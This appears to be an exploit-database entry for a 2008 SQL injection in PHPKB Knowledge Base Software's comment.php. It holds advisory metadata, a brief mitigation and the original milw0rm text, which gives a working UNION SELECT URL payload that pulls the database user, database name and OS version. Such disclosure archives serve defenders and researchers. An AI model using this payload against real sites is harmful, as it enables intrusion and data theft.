PHPKB Knowledge Base Software (comment.php) Sql Injection Vulnerability

vendor:

PHPKB Knowledge Base Software

by:

parad0x

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: PHPKB Knowledge Base Software

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

PHPKB Knowledge Base Software (comment.php) Sql Injection Vulnerability

A SQL injection vulnerability exists in PHPKB Knowledge Base Software, which allows an attacker to execute arbitrary SQL commands via the 'ID' parameter in the 'comment.php' script.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

PHPKB Knowledge Base Software (comment.php) Sql Injection Vulnerability
-------------------------------------------------------------------------------------------------
# Author  : parad0x
# Home   : www.inso.host.sk
# Script  : PHPKB Knowledge Base Software 
# Script Homepage : http://www.knowledgebase-script.com
 -------------------------------------------------------------------------------------------------
http://[target]/comment.php?ID=[SQL]

-------------------------------------------------------------------------------------------------
Example:

http://www.xxx.org/comment.php?ID=-67+union+select+concat(user(),char(32),database(),char(32),@@version_compile_os)/*
-------------------------------------------------------------------------------------------------
greetz : VoLqaN
-------------------------------------------------------------------------------------------------

# milw0rm.com [2008-04-11]